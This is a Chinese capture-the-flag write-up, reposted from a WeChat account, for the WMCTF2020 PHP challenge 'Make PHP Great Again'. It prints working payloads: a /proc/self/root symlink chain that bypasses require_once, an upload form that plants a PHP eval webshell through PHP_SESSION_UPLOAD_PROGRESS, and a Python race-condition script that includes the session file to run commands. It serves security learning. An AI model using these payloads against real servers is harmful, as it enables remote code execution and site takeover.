[WMCTF2020]Make PHP Great Again-解题步骤详解

admin 2022年4月15日00:46:51CTF专场评论25 views3227字阅读10分45秒阅读模式

[WMCTF2020]Make PHP Great Again-解题步骤详解


考点

require_once 绕过不能重复包含文件的限制

利用PHP_SESSION_UPLOAD_PROGRESS进行文件包含

题目代码

<?phphighlight_file(__FILE__);require_once 'flag.php';if(isset($_GET['file'])) {  require_once $_GET['file'];}


解题思路

Make PHP Great Again 2.0是修了非预期,这里一起总结

预期解

官方write up

PHP最新版的小Trick, require_once包含的软链接层数较多时once的hash匹配会直接失效造成重复包含

这里有详细的分析,就不在赘述

https://www.anquanke.com/post/id/213235

payload:

?file=php://filter/convert.base64-encode/resource=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/flag.php


非预期解

利用session.upload_progress进行文件包含

在PHP>5.4,session.upload_progress.enabled这个参数在php.ini中默认开启,在上传的过程中会生成上传进度文件,PHP将会把此次文件上传的详细信息(如上传时间、上传进度等)存储在session当中 ,它的存储路径可以在phpinfo中查到

开启upload_progress功能session.upload_progress.enabled = on    当文件上传结束后,php将会立即清空对应session文件中的内容session.upload_progress.cleanup = on    
session.upload_progress.prefix = "upload_progress_"session.upload_progress.name = "PHP_SESSION_UPLOAD_PROGRESS"


还要有一个选项

session.use_strict_mode=off


其表示对cookie中的sessionid可控,默认就是off

对于本题,是一个文件包含漏洞,可以利用session.upload_progress将恶意语句写入session文件,再去利用竞争在session清空前包含session文件,达到Getshell的目的。

问题是这里并没有用session_start()开启session,还有如何获取session的位置

如果session.auto_start=on,则PHP在接收请求的时候会自动初始化session,不再需要执行session_start()。但是这个选项默认关闭

session.use_strict_mode默认值为0,此时用户是可以自己定义PHPSESSID,并且PHP会自动初始化session,并产生一个键值,这个键值由

session.upload_progress.prefix和session.upload_progress.name组成,最后被写入session文件里,该文件保存为/tmp/sess_PHPSESSID

这里利用竞争有两个方式,一个是burp,先在本地写个html的上传页面,然后抓包,加一下PHPSESSID,在送去爆破就可以。

<!DOCTYPE html><html><body><form action="http://5bee85f4-0831-4fcf-a4c2-f33a607684b0.node3.buuoj.cn/" method="POST" enctype="multipart/form-data">    <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123<?php eval($_POST["cmd"]);?>" />    <input type="file" name="file" />    <input type="submit" value="submit" /></form></body></html>


[WMCTF2020]Make PHP Great Again-解题步骤详解

[WMCTF2020]Make PHP Great Again-解题步骤详解

[WMCTF2020]Make PHP Great Again-解题步骤详解

另外一种是用脚本,但是BUU有限制,脚本太快了可能跑不出来

#coding=utf-8 import ioimport requestsimport threadingsessid = 'peri0d'data = {"cmd":"system('whoami');"} def write(session):    while True:        f = io.BytesIO(b'a' * 1024 * 50)        resp = session.post( 'http://5bee85f4-0831-4fcf-a4c2-f33a607684b0.node3.buuoj.cn/', data={'PHP_SESSION_UPLOAD_PROGRESS': '<?php eval($_POST["cmd"]);?>'}, files={'file': ('peri0d.txt',f)}, cookies={'PHPSESSID': sessid} )def read(session):    while True:        resp = session.post('http://5bee85f4-0831-4fcf-a4c2-f33a607684b0.node3.buuoj.cn/?file=/tmp/sess_'+sessid,data=data)        if 'peri0d.txt' in resp.text:            print(resp.text)                        event.clear()        else:            print('++++++++++++++++')if __name__=="__main__":    event=threading.Event()    with requests.session() as session:        for i in xrange(1,30):             threading.Thread(target=write,args=(session,)).start()        for i in xrange(1,30):            threading.Thread(target=read,args=(session,)).start()    event.set()

最后,利用文件包含进行Getshell的方式还有利用phpinfo页面进行Getshell、php7 segment fault特性Getshell和利用日志文件Getshell

原文来自CSDN博主「peri0d」|侵删



[WMCTF2020]Make PHP Great Again-解题步骤详解

[WMCTF2020]Make PHP Great Again-解题步骤详解


中电运行是专业专注培养能源企业IT工匠和提供IT整体解决方案的服务商,也是能源互联网安全专家。

为方便大家沟通,中电运行开通“中电运行交流群”,诚挚欢迎能源企业和相关人士,以及对网络安全感兴趣的群体加入本群,真诚交流,互相学习[WMCTF2020]Make PHP Great Again-解题步骤详解[WMCTF2020]Make PHP Great Again-解题步骤详解。想加入我们就给我们留言吧[WMCTF2020]Make PHP Great Again-解题步骤详解

[WMCTF2020]Make PHP Great Again-解题步骤详解

[WMCTF2020]Make PHP Great Again-解题步骤详解

小白必读!寰宇卫士手把手教你栈溢出(上)

手把手教你栈溢出(中)

手把手教你栈溢出(下)

《信息安全知识》之法律关键常识汇总

CTF经验分享|带你入门带你飞!

[WMCTF2020]Make PHP Great Again-解题步骤详解


原文始发于微信公众号(寰宇卫士):[WMCTF2020]Make PHP Great Again-解题步骤详解

特别标注: 本站(CN-SEC.COM)所有文章仅供技术研究,若将其信息做其他用途,由用户承担全部法律及连带责任,本站不承担任何法律及连带责任,请遵守中华人民共和国安全法.
  • 我的微信
  • 微信扫一扫
  • weinxin
  • 我的微信公众号
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年4月15日00:46:51
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                  [WMCTF2020]Make PHP Great Again-解题步骤详解 http://cn-sec.com/archives/911176.html

发表评论

匿名网友 填写信息

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: